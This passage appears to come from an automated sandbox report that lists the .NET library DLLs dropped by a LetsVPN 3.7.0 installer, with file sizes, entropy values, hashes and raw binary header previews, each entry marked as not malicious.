                                                                                            SSDEEP:768:cu5I+sqOylryry8qqIfUc7a5xAw/KENAMxY8:cYIVBpry8qqIfUcm5xAwrxp
                                                                                            MD5:E2F5E7ED8C7E04FB7A2C32A4170260E5
                                                                                            SHA1:CBB76FA4201F2BF9C5FA53600A0BC29F218855A4
                                                                                            SHA-256:203CFB596421D608F65F145F93427CA68E2D8A75BAB0D6D94EA8F32FFE22D63E
                                                                                            SHA-512:B2DBDEFE0EA0F8325736ECB684DE537B6D57D4DB7BD44F5CDA58EBAF0060E874495A9E5C3F6C38FD73E42028CB30834E8A19E6F922CDD90B4BD4B983C52EA697
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..F...........d... ........... ....................................@..................................c..O.......x............T...+...........c............................................... ............... ..H............text....D... ...F.................. ..`.rsrc...x............H..............@..@.reloc...............R..............@..B.................c......H........&...7...........^.......b......................................j~....%-.&(....s....%.....*..*...0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*2r...p.(....*2rK..p.(....*2ry..p.(....*2r...p.(....*2r...p.(....*2rc..p.(....*......(....*..0..;........|....(......./......(....o....s

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.Extensions.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):28136
                                                                                            Entropy (8bit):6.5543265047258
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:jvR973o62/KqcAnb05J3w0I5eUGef8s72XBWdvVW2JW8ah1pwKANynsAw/98E9Vh:jvRZ4nNxnYTb6BlhpAw/KENAMxp7L
                                                                                            MD5:45AE1D721891F77D2E6A6BC3E6EAB195
                                                                                            SHA1:1AB3C6CAFF6F2D959C3D4597CB02E126E56DB58A
                                                                                            SHA-256:22F85D65BD689C5393FF32E5E7CBB3D87531F3FA7BA8A3DAAAB44BA08F613E87
                                                                                            SHA-512:0FEF3C23F833C69A74199ADE21392C6712EC0881FB27592DF3125EC06722331178FDA6F0707D0AA8355693ADC565B92AE6F92D48DE10A63B0F61DE0ADFAE7E45
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^.........." ..0..8...........V... ...`....... ...............................*....@..................................V..O....`...............B...+..........PU............................................... ............... ..H............text....6... ...8.................. ..`.rsrc........`.......:..............@..@.reloc...............@..............@..B.................V......H........0...$...................T........................................(....*..(....z..(....z2.(....s....*2.(....s....*:........o....*.~....*~.-..(......}......}......}....*~.-..(......}......}......}....*Z..}......}......}....*J.{....%-.&.*o....*^.u....,........(....*.*~.{.....{....3..{.....{......*.*&...(....*2...(.......*....0..'........{......,..u....%-.&..(...+(....*(....*n.{....,..(....s....*.q....*..0..a.........{....o0.....,;..{....o2...(......;...3.~.......s......

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.Parallel.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.928323919167167
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:z4vn4HREpWiQW87pwKANynsAw/98E9VF3AM+oI3J:zPSfAw/KENAMx4
                                                                                            MD5:A73C080C9562DEBA6E6F8B2626F24A00
                                                                                            SHA1:2A5048D16C100B1E3422D5B8DEB13FBEBACEE7DB
                                                                                            SHA-256:2D2357B931E68EB9283ED8817EDB64C8D3B5A2C6723BD32E2D3371916E76FB90
                                                                                            SHA-512:BE2767E98759423A59D873796E2545848197990BC49E396B525B33F2BE8E49152CAC8FB095F45FFE229CE905996F44D2FAB45A4AE39EE576996F8B74D2C50405
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ....................................@..................................(..O....@..P................+...`......x'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......l...#Strings....|.......#US.........#GUID...........#Blob......................3......................................................n.....B.....".....V.................U...........$.....m...........?.....(...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.!...C.<...K.\...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):17384
                                                                                            Entropy (8bit):6.829158312131995
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:k8MjKb47T3UCcqFMkJ59WdtWpXpwKANynsAw/98E9VF3AM+oD5KAo/:VMjKb4vcGdOLAw/KENAMxMAo/
                                                                                            MD5:98579FA7FB01CD7666F564FD273AD424
                                                                                            SHA1:88792C42E1B526E2D907ECE65BC64D2A07C99D49
                                                                                            SHA-256:4FFC812D280F101C200872A7140DCA5FB222A08F506997AE9FFF27CB27D8C199
                                                                                            SHA-512:F7331EBA38A6CC2F9B1442178B7CDA78F32507730730AAA3ED6C3B8D764EE20AEEA2290CE0CD55D3A743C80A0B220DAADE03C06197FC388F5D45118E14C305B4
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............,... ...@....... ...............................5....@.................................`,..O....@...................+...`......(+............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................,......H.......P ..X....................*......................................BSJB............v4.0.30319......l...<...#~..........#Strings....4.......#US.8.......#GUID...H.......#Blob......................3................................!.....O.......................................].....z.............................7.......j...........n...........................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Thread.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.917328117494581
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:jzyNXd4+BW6FWzrpwKANynsAw/98E9VF3AM+o0PkUpw8Pa3:qzxAw/KENAMxqZ6
                                                                                            MD5:C9F015CBA9609668C0C970A1A88CB4E8
                                                                                            SHA1:9ECF07C05EE73AD21372CAD179CDECFB1C4E7A03
                                                                                            SHA-256:D1B57D24DBE51F1EC4B9B9A5CBA555550B274D94575BCC75E964E02CCE3875DF
                                                                                            SHA-512:41CC6DDF48BF19F6643B202B42A3BD0EEE9D3848C42556ABED47411488FF5CE688852751B5B2BA8479AC8E9A5AF987A63F9252AEEA00193C44DE7AD0994BB2B8
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ....................................@..................................(..O....@...................+...`.......'............................................... ............... ..H............text... .... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P .......................'......................................BSJB............v4.0.30319......l.......#~..,...p...#Strings............#US.........#GUID...........#Blob......................3..................................................'.....'...T.....G.....h.................g...........6.................Q.....:...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.4...K.T...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.ThreadPool.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.916441350283002
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:/vs2Q3HKJNrWWRWiSpwKANynsAw/98E9VF3AM+ogHr90:/uMlAw/KENAMxMS
                                                                                            MD5:0597C0D32D6E663B59B92D42D98FE31B
                                                                                            SHA1:6F7392F213D5C9C4E3EE94DCD4C25333F7527F8D
                                                                                            SHA-256:FBF32DFA2811A9F728FC51B437F763CEBACEFD1E6E931ED18068643A9E7C9C45
                                                                                            SHA-512:F3E295022257DD1C95D8A9B7D045B844C0A0AFA1943FB008B80E6C792700587135C129DDB3DE08E54493A261F91F96AABA6FBF9EADF98D1F77D40342183DCB12
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............(... ...@....... ..............................tC....@..................................(..O....@..4................+...`......h'............................................... ............... ..H............text........ ...................... ..`.rsrc...4....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......`...#Strings....p.......#US.t.......#GUID...........#Blob......................3................................................../...q./...E.....O.....Y.................X...........'.....p...........B.....+...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.8...K.X...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Timer.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.889393529322428
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:mFz0Q6gcqRhcsMWdMW/wpwKANynsAw/98E9VF3AM+oQRhSAnAI:mFz1c6/Aw/KENAMxFAN
                                                                                            MD5:52A8DF0DF20D4E4C72107C7A82935773
                                                                                            SHA1:178D2F122689F07098CEC8D526A330C0D02F62B1
                                                                                            SHA-256:58FF8C50A179DB011F34964FFD747A9C8CB280C074CCEEF7436B298633AB17F9
                                                                                            SHA-512:8AE6B87E1086C430D9C12220354E4332DA114D267BDC8A07F61D24EC3A890FE869D678F80230658BE0089B66C00A4EE46CDB78C1B6CF3E77BB74204DB0FDB91E
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............(... ...@....... ..............................|.....@.................................L(..O....@...................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P ..D....................&......................................BSJB............v4.0.30319......l.......#~......,...#Strings.... .......#US.$.......#GUID...4.......#Blob......................3......................................................\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):17384
                                                                                            Entropy (8bit):6.78331502201167
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:G6xWA3W4aW/NW1xpwKANynsAw/98E9VF3AM+olHSDWo42:GaB1Aw/KENAMxZSDq2
                                                                                            MD5:98682F0CEFC51030D2EE76866B2D4029
                                                                                            SHA1:F47F43A44BACF0DAD4D66BDFCE8D406821973AFF
                                                                                            SHA-256:2C81B75DEA691B6DB2514146F85821EAD16C18E84FBDA68A6010FA7D69B2A969
                                                                                            SHA-512:400C139C7F2C12260E66FC498AF1FA718C624EDA53DCCAD1B33ECD0B8BAB0068A907B7C49A99986A4FD12DA3BF9B048F7762EFD28F5E8EA20104B22D1B6EEDFB
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............,... ...@....... ...............................B....@..................................+..O....@...................+...`.......*............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................+......H.......P .......................*......................................BSJB............v4.0.30319......l... ...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................-.........O.k.....k.....X.....................1...........o.........................B...........9...........J.....J.....J...).J...1.J...9.J...A.J...I.J...Q.J...Y.J...a.J...i.J...q.J.......................#.....+.....3.....;.....C.-...K.M...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.ValueTuple.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):74216
                                                                                            Entropy (8bit):5.952655867460952
                                                                                            Encrypted:false
                                                                                            SSDEEP:1536:mIumja0tbe16pSc45EfL+4vD4SuJbhjXuE3FMqF1KAy4kHo05ureseh79BAwrxR:mIuAaGbeGq5rKASI0IChBhz
                                                                                            MD5:0AB734A059B8A7A35BB486D746B8690F
                                                                                            SHA1:7EC8D01ABB66672657D2FF8B064CA88E6003BF18
                                                                                            SHA-256:F1F5F7EA3526F7ED0290FAA00573ED2619E234891D10148F58695B9CAAB8DF30
                                                                                            SHA-512:D40885E9A00FC8110C5B23950B265F994E03048A3369DA5CC694975B464DCBED42E4FB8AF04E0D4CF5198886821DFE6C44B38BDD5916B472F192411C51858F95
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0.............~.... ... ....... .......................`............@.................................,...O.... ..x................+...@....................................................... ............... ..H............text........ ...................... ..`.rsrc...x.... ......................@..@.reloc.......@......................@..B................`.......H.......................d.......t.......................................6..o.........*f..o...........o.........*...o...........o...........o.........*...o...........o...........o ...........o!........*...o"..........o#..........o$...........o%...........o&........*....0..L.........o'..........o(..........o)...........o*...........o+...........o,........*.0..Y.........o-..........o...........o/...........o0...........o1...........o2...........o3.... ...*....0..k.........o4....

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Web.Services.Description.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):18408
                                                                                            Entropy (8bit):6.764218616884775
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:/vx21MWeLqWYFpwKANynsAw/98E9VF3AM+o/7W:/J2WfAw/KENAMxK
                                                                                            MD5:B9AC9A5E32A5CC5BE9D5FE05183594E9
                                                                                            SHA1:BC9E3A9BA0FCC25EFB2C4A37BD6D42E27902E003
                                                                                            SHA-256:3A73C973BDDE70F6EF8027D6015448F3B762D7F7B2433FCE1B235E95D77D8EC4
                                                                                            SHA-512:184362A3E67C103F33C812082373BCD7CDE56CC45D6F057FF886C78E77C06957DE77A4DBFC8E129FE996051657E260778AB246EF0046E4CCB6B0E9D1A1FAC3C6
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...s.~..........." ..0.............:1... ...@....... ....................................`..................................0..O....@...................+...`......./..T............................................ ............... ..H............text...@.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................1......H.......P .. ...................p/......................................BSJB............v4.0.30319......l...h...#~..........#Strings............#US.........#GUID.......4...#Blob......................3................................F...............4.c.....c...o.<...............U...........m.......................T.............2.................6.....6.....6...).6...1.6...9.6...A.6...I.6...Q.6...Y.6...a.6...i.6...q.6.......................#.....+.*...+.F...+.\...3.r...;.....C.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Windows.Interactivity.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):51176
                                                                                            Entropy (8bit):6.240820708447174
                                                                                            Encrypted:false
                                                                                            SSDEEP:1536:/3wBccZdxuB8mQen6JxKjrlMZgR0EoOAwrxS:vcHmQPUkOhw
                                                                                            MD5:80866CD6502A9D91428C49FC8FB36416
                                                                                            SHA1:CD2D2CBAC6DF3A373F70101AAD62CCBAD14C13DC
                                                                                            SHA-256:525114F24029CA5190C757062E44EDD67B97473EC86ED7EF8C3EED6EDCDAAC50
                                                                                            SHA-512:EEC2909FAF99F85A99F25B646EB596ABA3E596697C514FEA526458DE0529CAB54A16D6F4A6D654734F0F4BF5EDF214903032EA569058185E0E8FFC8FCE51E383
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...du.K...........!..................... ........ ;. ....................................@.................................\...O........................+........................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......4O..X`..........xD......P ......................................{c...2......q..Z,.C.....3.n.Z..7....R.....T.{yF")i.$JMv...,a.....U...M:,...Z.Q:..c..N.{....<....h%.....:s..T...Z.gSI.....6.(.....{....*...0..&........(..............s....o.....s....}....*...0..K........(.....{....o........,3..+&..( .........{.....o!............*..X...(....2.*..0..L........{.....o"...,=(#...(..................($...o%.......(&...o%.....('...s(...z*.0...........o).......E............d

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.ReaderWriter.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16872
                                                                                            Entropy (8bit):6.90491148831205
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:Or97WquWjhpwKANynsAw/98E9VF3AM+obFl:ORJEAw/KENAMxj
                                                                                            MD5:88B01692B46FE2F201F91366FAD7E908
                                                                                            SHA1:4B1DE540BBBAD79455B21B9361B6CDF465F983CF
                                                                                            SHA-256:5D1979961DA9D938CBF578F8A847D4159A8640FC313CCC771B345567CFCD5EFE
                                                                                            SHA-512:5A8229E6FCAB6434445492B40B4C30392318F619D8BEAF2F05E5FBBAFE94D6E28D8155673E29A58D3BC2E6482D44BDF31E43BDA377A682E731B4C29AE503EE0D
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............+... ...@....... ...................................@.................................\+..O....@...................+...`......$*............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................+......H.......P ..T....................)......................................BSJB............v4.0.30319......l.......#~..T.......#Strings....0.......#US.4.......#GUID...D.......#Blob......................3......................................z...........j.....j.....W...............B.....z.............................................................Q.....Q.....Q...).Q...1.Q...9.Q...A.Q...I.Q...Q.Q...Y.Q...a.Q...i.Q...q.Q.......................#.....+.....3.....;.....C.4...K.T...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XDocument.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16872
                                                                                            Entropy (8bit):6.851482900898342
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:Y16eWLDW3CpwKANynsAw/98E9VF3AM+o2C+d:g6LqAw/KENAMxad
                                                                                            MD5:89B44404F8298AFFDBC7FF174F442DDF
                                                                                            SHA1:25CD59251DF4328BE8B1B9144B90D57B0A86EBDB
                                                                                            SHA-256:9EA9286DDAF4ACDA11284362B3E3C5C65F289FF3DF6B680CB7476E929AA589CB
                                                                                            SHA-512:A5D7B68D6C2E84DD6EA4047D5978C98DA5804FC1A3B93E30737FBF6ED5F1D2522E5647E700564AEB6A7C162EBCCF2878DAF9FA3EFA313FB7F90D2E801E86EAF5
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............*... ...@....... ....................................@.................................|*..O....@...................+...`......D)............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................*......H.......P ..t....................(......................................BSJB............v4.0.30319......l.......#~......8...#Strings....T.......#US.X.......#GUID...h.......#Blob......................3..................................................z.....z...u.g.................................>.....W.................r.....[...................a.....a.....a...).a...1.a...9.a...A.a...I.a...Q.a...Y.a...a.a...i.a...q.a.......................#.....+.....3.....;.....C.1...K.Q...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XPath.XDocument.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):17896
                                                                                            Entropy (8bit):6.843882988196922
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:HY8G4YC2W+wW8WpwWxUpwKANynsAw/98E9VF3AM+oQ4fTmr:HjGZ5xAw/KENAMxw
                                                                                            MD5:BACB698D88F26E656D6C42D0E0537A51
                                                                                            SHA1:E1BF00B8D7AC8EEB88D7759D944235AA7F81A609
                                                                                            SHA-256:3D83845CF4EE08017DC971F361CEBFB55CC98D369210B5AC1D910932FC91EB8B
                                                                                            SHA-512:ADCFC1392EDC624C1C74E4B681037211D790B310BDDD5AB238A614C0B9C6B56458A3DBE29E98A946AD9F078FE5BB95F290954514C722FCBA643A8C2EA80606A7
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............+... ...@....... ....................................@.................................z+..O....@..x................+...`.......*............................................... ............... ..H............text........ ...................... ..`.rsrc...x....@......................@..@.reloc.......`......................@..B.................+......H.......t ......................P*........................................s....*:.(......}....*2.{....(....*BSJB............v4.0.30319......l.......#~..0.......#Strings............#US.........#GUID...........#Blob...........WW.........3..............................................................L.........4.H...}.H...u.v...........;...........;...=.;.................../.%...........P.....m.....................................v...S.......v...d.v...........v...m...............

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XPath.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16360
                                                                                            Entropy (8bit):6.947021415380896
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:B6ziqTEkGWvRW67pwKANynsAw/98E9VF3AM+oxLJcC+w3R:BYT1kAw/KENAMxcC/h
                                                                                            MD5:1CEAC27FDB0F2D030AC6BBAD54142E4B
                                                                                            SHA1:D07B4632A71349EC5B32CC7742D273C5584C8238
                                                                                            SHA-256:F148D8286C890468B3B7E4ABBFCFFD8D7A46609F7A35819390A4CC02EA088638
                                                                                            SHA-512:ABE58CE1B68388A031057C182EFBD95B8FD0783D1B9FA06C8B2A74D5475A5CC794EB030240261CADDDE70002AE9706A0AA5314775DC034AC31E429A17E08F006
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...B..Y.........." ..0..............)... ...@....... ....................................@..................................)..O....@...................+...`......d(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l...0...#~..........#Strings....x.......#US.|.......#GUID...........#Blob......................3................................................'...........~...................................G.....`.................{.....d...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.-...K.M...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XmlDocument.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16872
                                                                                            Entropy (8bit):6.866181828112814
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:/Uv7c7iWNCWzIpwKANynsAw/98E9VF3AM+oSje6V31o2:/M7c11Aw/KENAMx2e61y2
                                                                                            MD5:6707533500FC64115A39DB26979FA539
                                                                                            SHA1:FA5638550E60177FFAF2B3AE0A7FFBE86BB003BF
                                                                                            SHA-256:3F4C126146F0F1ADB99CC51F46350D18BB972D8AA4361011C78E01943FE923D1
                                                                                            SHA-512:B075B4B6DB1C5417C013B5D15BC28EA59F34245C91A03054DF229CC102C2FC5486AA9E96DF273C6BCE4F48F7C61D2496CDD9DFA52068C21A8FA8D6B3EDF6EFCD
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...C..Y.........." ..0..............*... ...@....... ...................................@..................................*..O....@...................+...`......`)............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................*......H.......P .......................(......................................BSJB............v4.0.30319......l.......#~......l...#Strings....l.......#US.p.......#GUID...........#Blob......................3................................................4...........~.............H.....H.....H.....H...T.H...m.H.....H.....H.........d.H.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XmlSerializer.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):16872
                                                                                            Entropy (8bit):6.907371376742411
                                                                                            Encrypted:false
                                                                                            SSDEEP:384:bSWnRWAlpwKANynsAw/98E9VF3AM+orlbDhL:bzkAw/KENAMx5bVL
                                                                                            MD5:4884E27B9B813AF08924E6BE157FDF80
                                                                                            SHA1:9E79A246FC2D1555EB8D826DAF231492AAB0EDE0
                                                                                            SHA-256:9B8A33B04EE86AFB4B382F28A686DC1316E13CFE7893494B65D6BE901C1CB8C7
                                                                                            SHA-512:A64F2BAE6DDAFE4FE0680F0EE43BD26D9FDAEEFC0A115FEBCFD906C522CA02E330F58389A381E6EAC2193D6184A268C9CA9B3977496DA3EC096B32D315BE0DA2
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...C..Y.........." ..0..............+... ...@....... ....................................@.................................L+..O....@..$................+...`.......*............................................... ............... ..H............text........ ...................... ..`.rsrc...$....@......................@..@.reloc.......`......................@..B.................+......H.......P ..D....................)......................................BSJB............v4.0.30319......l.......#~..........#Strings.... .......#US.$.......#GUID...4.......#Blob......................3..................................................k.....k...U.@.........i.....=.........................................&.....'...................:.....:.....:...).:...1.:...9.:...A.:...I.:...Q.:...Y.:...a.:...i.:...q.:.......................#.....+.....3.....;.....C.5...K.U...S.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\ToastNotifications.Messages.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):101352
                                                                                            Entropy (8bit):4.716134808418194
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:VHmt9tmMLbLR6330XUb9GYQpAw/KENAMxgmvNAR:V+d6336UbILpAwrxg8A
                                                                                            MD5:718E6F271AE8153C7E46693B9C4DFDF7
                                                                                            SHA1:CAA72B318CCB7E7D9AEAF8660052C5605831A113
                                                                                            SHA-256:6E35E281509F58C35AACD80A8BB0BDC85C5DB63A1B6B79645E11202684409CB8
                                                                                            SHA-512:6771A6D3D971EBED2D029B547DD895E75289CE5C28497A9009CEA283E482BE22415A4F7E6DB4556C192300B3A823CBD352CD953743A2A3310B8AD2E9D48EC45D
                                                                                            Malicious:false
                                                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....\.........." ..0.............*.... ........... ....................................@.....................................O...................`...+........................................................... ............... ..H............text...0.... ...................... ..`.rsrc..............................@..@.reloc...............^..............@..B........................H........(..."...........J..p... ........................................0.. .......s7......}........8...s....o...+*.0..'.......s9......}......}........:...s....o...+*..0.. .......s;......} .......<...s....o...+*.0..'.......s=......}!.....}".......>...s....o...+*..0.. .......s?......}#.......@...s....o...+*.0..'.......sA......}$.....}%.......B...s....o...+*..0.. .......sC......}&.......D...s....o...+*.0..'.......sE......}'.....}(.......F...s....o...+*R.(.....(......(...+*2.(.

                                                                                            C:\Program Files (x86)\letsvpn\app-3.7.0\ToastNotifications.dll

                                                                                            Download File
                                                                                            Process:C:\ProgramData\letsvpn-latest.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):120808
                                                                                            Entropy (8bit):5.068062171449719
                                                                                            Encrypted:false
                                                                                            SSDEEP:768:Jr7hqeNzclb+af/wFGfdpOOJWOQE9/TBLW/UwmoAw/KENAMx5PF:Jr7hqeNzclR/CWpKsRBLW/EoAwrx5PF
                                                                                            MD5:785A703389559E49A08BAA4401BD45F2
                                                                                            SHA1:60FC997153F12C8DB5467AB64F756CA8ED059113
